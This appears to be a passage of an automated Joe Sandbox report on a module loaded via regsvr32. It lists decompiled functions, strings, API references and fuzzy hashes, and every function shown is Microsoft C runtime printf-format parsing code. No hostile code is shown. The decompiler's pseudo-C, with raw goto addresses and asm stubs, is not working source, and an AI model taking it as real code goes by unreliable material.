Instruction Fuzzy Hash: 60D1CA72A0CAC686E7B18B55E8407AFB7E0F384355F600126E6D987AA9DB7DE440CF14

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3DF8D Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 218
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E000007FE7FEF9D3DF8D(signed short _a1208, signed int _a1412) {

				_a1412 = _a1208 & 0x0000ffff;
				_a1412 = _a1412 - 0x41;
				if (_a1412 - 0x37 > 0) goto 0xf9d3ea2a;
				goto __rax;
			}

0x7fef9d3df95
0x7fef9d3dfa6
0x7fef9d3dfb5
0x7fef9d3dfdc

Strings

_woutput_s_l, xrefs: 000007FEF9D3DBD6
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF
7, xrefs: 000007FEF9D3DFAD
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID:
String ID: ("Incorrect format specifier", 0)$7$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 0-1585035072
Opcode ID: 3ac2e27d66d95a25dfb2edd2f0848946df9d4bfe2e481795af5e1dbd4b0ec7bb
Instruction ID: 786758f90f15de6030b6b0b797e7a3976266de7f5bb6935df7b5cb31798ef030
Opcode Fuzzy Hash: 3ac2e27d66d95a25dfb2edd2f0848946df9d4bfe2e481795af5e1dbd4b0ec7bb
Instruction Fuzzy Hash: D0B1FD7260CAC286E7B1DB55E8417AFB7E0F784356F104126EAC987AA9DB7DE440CF10

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D38350 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 178COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D38420
_invalid_parameter.LIBCMTD ref: 000007FEF9D384CA

Strings

_vswprintf_helper, xrefs: 000007FEF9D38412, 000007FEF9D384BC
(count == 0) || (string != NULL), xrefs: 000007FEF9D38466, 000007FEF9D384C3
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vswprint.c, xrefs: 000007FEF9D383D1, 000007FEF9D3840B, 000007FEF9D3847B, 000007FEF9D384B5
(format != NULL), xrefs: 000007FEF9D383BC, 000007FEF9D38419

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (count == 0) || (string != NULL)$(format != NULL)$_vswprintf_helper$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vswprint.c
API String ID: 2123368286-1876092940
Opcode ID: 5533e41279f98ba4d4f5350db4eab6cd9eaa803fb231b9fee7a87e58e20f6e26
Instruction ID: 67313c86c0907fb9479329b5879005a062486a8a0ba054e26d823845a12987d7
Opcode Fuzzy Hash: 5533e41279f98ba4d4f5350db4eab6cd9eaa803fb231b9fee7a87e58e20f6e26
Instruction Fuzzy Hash: FA911E32618B85CAE7A48B15E84476E77E0F384795F208525E6DE87BB4DB3ED444CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3BE32 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 173
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E000007FE7FEF9D3BE32(signed int _a80, signed int _a696, intOrPtr _a704, char _a972, signed int _a976, void* _a1096) {

				_a972 = _a696 & 0x000000ff;
				if (_a972 == 0x49) goto 0xf9d3beb7;
				if (_a972 == 0x68) goto 0xf9d3bfc0;
				if (_a972 == 0x6c) goto 0xf9d3be76;
				if (_a972 == 0x77) goto 0xf9d3bfcd;
				goto 0xf9d3bfd9;
				if ( *_a1096 != 0x6c) goto 0xf9d3bea7;
				_a1096 = _a1096 + 1;
				asm("bts eax, 0xc");
				goto 0xf9d3beb2;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xf");
				if ( *_a1096 != 0x36) goto 0xf9d3bf09;
				if ( *((char*)(_a1096 + 1)) != 0x34) goto 0xf9d3bf09;
				_a1096 = _a1096 + 2;
				asm("bts eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 != 0x33) goto 0xf9d3bf4c;
				if ( *((char*)(_a1096 + 1)) != 0x32) goto 0xf9d3bf4c;
				_a1096 = _a1096 + 2;
				asm("btr eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 == 0x64) goto 0xf9d3bfac;
				if ( *_a1096 == 0x69) goto 0xf9d3bfac;
				if ( *_a1096 == 0x6f) goto 0xf9d3bfac;
				if ( *_a1096 == 0x75) goto 0xf9d3bfac;
				if ( *_a1096 == 0x78) goto 0xf9d3bfac;
				if ( *_a1096 != 0x58) goto 0xf9d3bfae;
				goto 0xf9d3bfbe;
				_a704 = 0;
				goto E000007FE7FEF9D3BB66;
				goto 0xf9d3bfd9;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xb");
				_a976 = _a696;
				_a976 = _a976 - 0x41;
				if (_a976 - 0x37 > 0) goto 0xf9d3ca31;
				goto __rax;
			}

0x7fef9d3be3a
0x7fef9d3be49
0x7fef9d3be53
0x7fef9d3be61
0x7fef9d3be6b
0x7fef9d3be71
0x7fef9d3be84
0x7fef9d3be91
0x7fef9d3be9d
0x7fef9d3bea5
0x7fef9d3beae
0x7fef9d3beb2
0x7fef9d3bebb
0x7fef9d3bed1
0x7fef9d3bee2
0x7fef9d3bef0
0x7fef9d3befc
0x7fef9d3bf04
0x7fef9d3bf17
0x7fef9d3bf28
0x7fef9d3bf36
0x7fef9d3bf42
0x7fef9d3bf4a
0x7fef9d3bf5a
0x7fef9d3bf6a
0x7fef9d3bf7a
0x7fef9d3bf8a
0x7fef9d3bf9a
0x7fef9d3bfaa
0x7fef9d3bfac
0x7fef9d3bfae
0x7fef9d3bfb9
0x7fef9d3bfbe
0x7fef9d3bfc7
0x7fef9d3bfcb
0x7fef9d3bfd1
0x7fef9d3bfe6
0x7fef9d3bff7
0x7fef9d3c006
0x7fef9d3c02d

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3BB09
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3BB1E

Strings

_output_s_l, xrefs: 000007FEF9D3BAFB
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
w, xrefs: 000007FEF9D3BE63

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__invalid_parameter
String ID: ("Incorrect format specifier", 0)$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c$w
API String ID: 530996419-3826063230
Opcode ID: ca0a1c3a4d76a0406b352d4f9ca239403a79a6076d76e868b137271f3bc4e837
Instruction ID: 94b803b8bf2c9d0da31cb8fabbb810b13218eabd765851e9cd54d2cd97e7a3d8
Opcode Fuzzy Hash: ca0a1c3a4d76a0406b352d4f9ca239403a79a6076d76e868b137271f3bc4e837
Instruction Fuzzy Hash: 46915E72A0D6C28AE3F18B54E88477EB7E4E381346F601026D7CD87AA9CB7ED5418F11

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3DDE0 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 173
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E000007FE7FEF9D3DDE0(signed int _a80, signed int _a1208, intOrPtr _a1216, signed int _a1408, signed int _a1412, signed short* _a1544) {

				_a1408 = _a1208 & 0x0000ffff;
				if (_a1408 == 0x49) goto 0xf9d3de66;
				if (_a1408 == 0x68) goto 0xf9d3df6f;
				if (_a1408 == 0x6c) goto 0xf9d3de24;
				if (_a1408 == 0x77) goto 0xf9d3df7c;
				goto 0xf9d3df88;
				if (( *_a1544 & 0x0000ffff) != 0x6c) goto 0xf9d3de56;
				_a1544 =  &(_a1544[1]);
				asm("bts eax, 0xc");
				goto 0xf9d3de61;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3df88;
				asm("bts eax, 0xf");
				if (( *_a1544 & 0x0000ffff) != 0x36) goto 0xf9d3deb8;
				if ((_a1544[1] & 0x0000ffff) != 0x34) goto 0xf9d3deb8;
				_a1544 =  &(_a1544[2]);
				asm("bts eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) != 0x33) goto 0xf9d3defb;
				if ((_a1544[1] & 0x0000ffff) != 0x32) goto 0xf9d3defb;
				_a1544 =  &(_a1544[2]);
				asm("btr eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) == 0x64) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x69) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x6f) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x75) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x78) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) != 0x58) goto 0xf9d3df5d;
				goto 0xf9d3df6d;
				_a1216 = 0;
				goto E000007FE7FEF9D3DC41;
				goto 0xf9d3df88;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3df88;
				asm("bts eax, 0xb");
				_a1412 = _a1208 & 0x0000ffff;
				_a1412 = _a1412 - 0x41;
				if (_a1412 - 0x37 > 0) goto 0xf9d3ea2a;
				goto __rax;
			}

0x7fef9d3dde8
0x7fef9d3ddf7
0x7fef9d3de01
0x7fef9d3de0f
0x7fef9d3de19
0x7fef9d3de1f
0x7fef9d3de32
0x7fef9d3de40
0x7fef9d3de4c
0x7fef9d3de54
0x7fef9d3de5d
0x7fef9d3de61
0x7fef9d3de6a
0x7fef9d3de80
0x7fef9d3de91
0x7fef9d3de9f
0x7fef9d3deab
0x7fef9d3deb3
0x7fef9d3dec6
0x7fef9d3ded7
0x7fef9d3dee5
0x7fef9d3def1
0x7fef9d3def9
0x7fef9d3df09
0x7fef9d3df19
0x7fef9d3df29
0x7fef9d3df39
0x7fef9d3df49
0x7fef9d3df59
0x7fef9d3df5b
0x7fef9d3df5d
0x7fef9d3df68
0x7fef9d3df6d
0x7fef9d3df76
0x7fef9d3df7a
0x7fef9d3df80
0x7fef9d3df95
0x7fef9d3dfa6
0x7fef9d3dfb5
0x7fef9d3dfdc

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3DBE4
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3DBF9

Strings

w, xrefs: 000007FEF9D3DE11
_woutput_s_l, xrefs: 000007FEF9D3DBD6
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__invalid_parameter
String ID: ("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c$w
API String ID: 530996419-4206863317
Opcode ID: 7c5d23002966610aaf37fd2e87aab718b594dfcb558d5e32631a425086473698
Instruction ID: 3115a511369859e1f947b9f2c3204b19b7531d4cbd05c4b67493ff7b1ab56a73
Opcode Fuzzy Hash: 7c5d23002966610aaf37fd2e87aab718b594dfcb558d5e32631a425086473698
Instruction Fuzzy Hash: 5C910C62A0C6C18AE7F08B55E88077EB3E1F385756F600025E6CD87AA8DB7ED855DF10

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3BCFA Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 111
COMMON

Download Yara Rule

C-Code - Quality: 27%

			E000007FE7FEF9D3BCFA(signed int _a80, signed int _a88, intOrPtr _a116, signed int _a696, intOrPtr _a704, char _a968, char _a972, signed int _a976, void* _a1096, char _a1112) {
				void* _t171;
				char* _t191;
				char* _t192;

				_a968 = _a696 & 0x000000ff;
				if (_a968 == 0x20) goto 0xf9d3bd57;
				if (_a968 == 0x23) goto 0xf9d3bd64;
				if (_a968 == 0x2b) goto 0xf9d3bd4a;
				if (_a968 == 0x2d) goto 0xf9d3bd3d;
				if (_a968 == 0x30) goto 0xf9d3bd72;
				goto 0xf9d3bd7d;
				_a80 = _a80 | 0x00000004;
				goto 0xf9d3bd7d;
				_a80 = _a80 | 0x00000001;
				goto 0xf9d3bd7d;
				_a80 = _a80 | 0x00000002;
				goto 0xf9d3bd7d;
				asm("bts eax, 0x7");
				goto 0xf9d3bd7d;
				_a80 = _a80 | 0x00000008;
				if (_a696 != 0x2a) goto 0xf9d3bdbe;
				_t191 =  &_a1112;
				_a88 = E000007FE7FEF9D31E40(_t191);
				if (_a88 >= 0) goto 0xf9d3bdbc;
				_a80 = _a80 | 0x00000004;
				_a88 =  ~_a88;
				goto 0xf9d3bdd5;
				_a88 = _t171 + _t191 - 0x30;
				_a116 = 0;
				if (_a696 != 0x2a) goto 0xf9d3be16;
				_t192 =  &_a1112;
				_a116 = E000007FE7FEF9D31E40(_t192);
				if (_a116 >= 0) goto 0xf9d3be14;
				_a116 = 0xffffffff;
				goto 0xf9d3be2d;
				_a116 = _t171 + _t192 - 0x30;
				_a972 = _a696 & 0x000000ff;
				if (_a972 == 0x49) goto 0xf9d3beb7;
				if (_a972 == 0x68) goto 0xf9d3bfc0;
				if (_a972 == 0x6c) goto 0xf9d3be76;
				if (_a972 == 0x77) goto 0xf9d3bfcd;
				goto 0xf9d3bfd9;
				if ( *_a1096 != 0x6c) goto 0xf9d3bea7;
				_a1096 = _a1096 + 1;
				asm("bts eax, 0xc");
				goto 0xf9d3beb2;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xf");
				if ( *_a1096 != 0x36) goto 0xf9d3bf09;
				if ( *((char*)(_a1096 + 1)) != 0x34) goto 0xf9d3bf09;
				_a1096 = _a1096 + 2;
				asm("bts eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 != 0x33) goto 0xf9d3bf4c;
				if ( *((char*)(_a1096 + 1)) != 0x32) goto 0xf9d3bf4c;
				_a1096 = _a1096 + 2;
				asm("btr eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 == 0x64) goto 0xf9d3bfac;
				if ( *_a1096 == 0x69) goto 0xf9d3bfac;
				if ( *_a1096 == 0x6f) goto 0xf9d3bfac;
				if ( *_a1096 == 0x75) goto 0xf9d3bfac;
				if ( *_a1096 == 0x78) goto 0xf9d3bfac;
				if ( *_a1096 != 0x58) goto 0xf9d3bfae;
				goto 0xf9d3bfbe;
				_a704 = 0;
				goto E000007FE7FEF9D3BB66;
				goto 0xf9d3bfd9;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xb");
				_a976 = _a696;
				_a976 = _a976 - 0x41;
				if (_a976 - 0x37 > 0) goto 0xf9d3ca31;
				goto __rax;
			}

0x7fef9d3bd02
0x7fef9d3bd11
0x7fef9d3bd1b
0x7fef9d3bd25
0x7fef9d3bd2f
0x7fef9d3bd39
0x7fef9d3bd3b
0x7fef9d3bd44
0x7fef9d3bd48
0x7fef9d3bd51
0x7fef9d3bd55
0x7fef9d3bd5e
0x7fef9d3bd62
0x7fef9d3bd68
0x7fef9d3bd70
0x7fef9d3bd79
0x7fef9d3bd8d
0x7fef9d3bd8f
0x7fef9d3bd9c
0x7fef9d3bda5
0x7fef9d3bdae
0x7fef9d3bdb8
0x7fef9d3bdbc
0x7fef9d3bdd1
0x7fef9d3bdda
0x7fef9d3bdf2
0x7fef9d3bdf4
0x7fef9d3be01
0x7fef9d3be0a
0x7fef9d3be0c
0x7fef9d3be14
0x7fef9d3be29
0x7fef9d3be3a
0x7fef9d3be49
0x7fef9d3be53
0x7fef9d3be61
0x7fef9d3be6b
0x7fef9d3be71
0x7fef9d3be84
0x7fef9d3be91
0x7fef9d3be9d
0x7fef9d3bea5
0x7fef9d3beae
0x7fef9d3beb2
0x7fef9d3bebb
0x7fef9d3bed1
0x7fef9d3bee2
0x7fef9d3bef0
0x7fef9d3befc
0x7fef9d3bf04
0x7fef9d3bf17
0x7fef9d3bf28
0x7fef9d3bf36
0x7fef9d3bf42
0x7fef9d3bf4a
0x7fef9d3bf5a
0x7fef9d3bf6a
0x7fef9d3bf7a
0x7fef9d3bf8a
0x7fef9d3bf9a
0x7fef9d3bfaa
0x7fef9d3bfac
0x7fef9d3bfae
0x7fef9d3bfb9
0x7fef9d3bfbe
0x7fef9d3bfc7
0x7fef9d3bfcb
0x7fef9d3bfd1
0x7fef9d3bfe6
0x7fef9d3bff7
0x7fef9d3c006
0x7fef9d3c02d

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3BB09
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3BB1E

Strings

0, xrefs: 000007FEF9D3BD31
_output_s_l, xrefs: 000007FEF9D3BAFB
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__invalid_parameter
String ID: ("Incorrect format specifier", 0)$0$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 530996419-4087627031
Opcode ID: 1de43203eafd45e9ce0d0d64285ee361cc766a04d488c37d7d0694f7340f7322
Instruction ID: 3ab598f7b4fd695a8a70feaac4248e5f119f303646eea4bd5d4eba80b196619f
Opcode Fuzzy Hash: 1de43203eafd45e9ce0d0d64285ee361cc766a04d488c37d7d0694f7340f7322
Instruction Fuzzy Hash: F3514C72A0D6C28AF3F19B64E855BBEBBE4F381345F200126D2D9869A9D77DE540CF10

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3DCA8 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 111
COMMON

Download Yara Rule

C-Code - Quality: 27%

			E000007FE7FEF9D3DCA8(signed int _a80, signed int _a88, intOrPtr _a116, signed int _a1208, intOrPtr _a1216, signed int _a1404, signed int _a1408, signed int _a1412, signed short* _a1544, char _a1560) {
				void* _t171;
				char* _t191;
				char* _t192;

				_a1404 = _a1208 & 0x0000ffff;
				if (_a1404 == 0x20) goto 0xf9d3dd05;
				if (_a1404 == 0x23) goto 0xf9d3dd12;
				if (_a1404 == 0x2b) goto 0xf9d3dcf8;
				if (_a1404 == 0x2d) goto 0xf9d3dceb;
				if (_a1404 == 0x30) goto 0xf9d3dd20;
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000004;
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000001;
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000002;
				goto 0xf9d3dd2b;
				asm("bts eax, 0x7");
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000008;
				if ((_a1208 & 0x0000ffff) != 0x2a) goto 0xf9d3dd6c;
				_t191 =  &_a1560;
				_a88 = E000007FE7FEF9D31E40(_t191);
				if (_a88 >= 0) goto 0xf9d3dd6a;
				_a80 = _a80 | 0x00000004;
				_a88 =  ~_a88;
				goto 0xf9d3dd83;
				_a88 = _t171 + _t191 - 0x30;
				_a116 = 0;
				if ((_a1208 & 0x0000ffff) != 0x2a) goto 0xf9d3ddc4;
				_t192 =  &_a1560;
				_a116 = E000007FE7FEF9D31E40(_t192);
				if (_a116 >= 0) goto 0xf9d3ddc2;
				_a116 = 0xffffffff;
				goto 0xf9d3dddb;
				_a116 = _t171 + _t192 - 0x30;
				_a1408 = _a1208 & 0x0000ffff;
				if (_a1408 == 0x49) goto 0xf9d3de66;
				if (_a1408 == 0x68) goto 0xf9d3df6f;
				if (_a1408 == 0x6c) goto 0xf9d3de24;
				if (_a1408 == 0x77) goto 0xf9d3df7c;
				goto 0xf9d3df88;
				if (( *_a1544 & 0x0000ffff) != 0x6c) goto 0xf9d3de56;
				_a1544 =  &(_a1544[1]);
				asm("bts eax, 0xc");
				goto 0xf9d3de61;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3df88;
				asm("bts eax, 0xf");
				if (( *_a1544 & 0x0000ffff) != 0x36) goto 0xf9d3deb8;
				if ((_a1544[1] & 0x0000ffff) != 0x34) goto 0xf9d3deb8;
				_a1544 =  &(_a1544[2]);
				asm("bts eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) != 0x33) goto 0xf9d3defb;
				if ((_a1544[1] & 0x0000ffff) != 0x32) goto 0xf9d3defb;
				_a1544 =  &(_a1544[2]);
				asm("btr eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) == 0x64) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x69) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x6f) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x75) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x78) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) != 0x58) goto 0xf9d3df5d;
				goto 0xf9d3df6d;
				_a1216 = 0;
				goto E000007FE7FEF9D3DC41;
				goto 0xf9d3df88;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3df88;
				asm("bts eax, 0xb");
				_a1412 = _a1208 & 0x0000ffff;
				_a1412 = _a1412 - 0x41;
				if (_a1412 - 0x37 > 0) goto 0xf9d3ea2a;
				goto __rax;
			}

0x7fef9d3dcb0
0x7fef9d3dcbf
0x7fef9d3dcc9
0x7fef9d3dcd3
0x7fef9d3dcdd
0x7fef9d3dce7
0x7fef9d3dce9
0x7fef9d3dcf2
0x7fef9d3dcf6
0x7fef9d3dcff
0x7fef9d3dd03
0x7fef9d3dd0c
0x7fef9d3dd10
0x7fef9d3dd16
0x7fef9d3dd1e
0x7fef9d3dd27
0x7fef9d3dd3b
0x7fef9d3dd3d
0x7fef9d3dd4a
0x7fef9d3dd53
0x7fef9d3dd5c
0x7fef9d3dd66
0x7fef9d3dd6a
0x7fef9d3dd7f
0x7fef9d3dd88
0x7fef9d3dda0
0x7fef9d3dda2
0x7fef9d3ddaf
0x7fef9d3ddb8
0x7fef9d3ddba
0x7fef9d3ddc2
0x7fef9d3ddd7
0x7fef9d3dde8
0x7fef9d3ddf7
0x7fef9d3de01
0x7fef9d3de0f
0x7fef9d3de19
0x7fef9d3de1f
0x7fef9d3de32
0x7fef9d3de40
0x7fef9d3de4c
0x7fef9d3de54
0x7fef9d3de5d
0x7fef9d3de61
0x7fef9d3de6a
0x7fef9d3de80
0x7fef9d3de91
0x7fef9d3de9f
0x7fef9d3deab
0x7fef9d3deb3
0x7fef9d3dec6
0x7fef9d3ded7
0x7fef9d3dee5
0x7fef9d3def1
0x7fef9d3def9
0x7fef9d3df09
0x7fef9d3df19
0x7fef9d3df29
0x7fef9d3df39
0x7fef9d3df49
0x7fef9d3df59
0x7fef9d3df5b
0x7fef9d3df5d
0x7fef9d3df68
0x7fef9d3df6d
0x7fef9d3df76
0x7fef9d3df7a
0x7fef9d3df80
0x7fef9d3df95
0x7fef9d3dfa6
0x7fef9d3dfb5
0x7fef9d3dfdc

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3DBE4
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3DBF9

Strings

0, xrefs: 000007FEF9D3DCDF
_woutput_s_l, xrefs: 000007FEF9D3DBD6
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__invalid_parameter
String ID: ("Incorrect format specifier", 0)$0$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 530996419-1247675978
Opcode ID: f21bac4cf66fd83060826b10cda673f64da0b58cdc9b26c9e440e84a16dbb144
Instruction ID: f27db2fcef6f8d513c01393a57896d629d62aa2ad95cdf3e250bd1829576e434
Opcode Fuzzy Hash: f21bac4cf66fd83060826b10cda673f64da0b58cdc9b26c9e440e84a16dbb144
Instruction Fuzzy Hash: FA510CB2A0C6C28AE7B09B64E8407BEB7E0F385346F600125D6CA869A8D77DE444DF10

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3BD82 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 99
COMMON

Download Yara Rule

C-Code - Quality: 26%

			E000007FE7FEF9D3BD82(signed int _a80, signed int _a88, intOrPtr _a116, signed int _a696, intOrPtr _a704, char _a972, signed int _a976, void* _a1096, char _a1112) {
				void* _t139;
				char* _t159;
				char* _t160;

				if (_a696 != 0x2a) goto 0xf9d3bdbe;
				_t159 =  &_a1112;
				_a88 = E000007FE7FEF9D31E40(_t159);
				if (_a88 >= 0) goto 0xf9d3bdbc;
				_a80 = _a80 | 0x00000004;
				_a88 =  ~_a88;
				goto 0xf9d3bdd5;
				_a88 = _t139 + _t159 - 0x30;
				_a116 = 0;
				if (_a696 != 0x2a) goto 0xf9d3be16;
				_t160 =  &_a1112;
				_a116 = E000007FE7FEF9D31E40(_t160);
				if (_a116 >= 0) goto 0xf9d3be14;
				_a116 = 0xffffffff;
				goto 0xf9d3be2d;
				_a116 = _t139 + _t160 - 0x30;
				_a972 = _a696 & 0x000000ff;
				if (_a972 == 0x49) goto 0xf9d3beb7;
				if (_a972 == 0x68) goto 0xf9d3bfc0;
				if (_a972 == 0x6c) goto 0xf9d3be76;
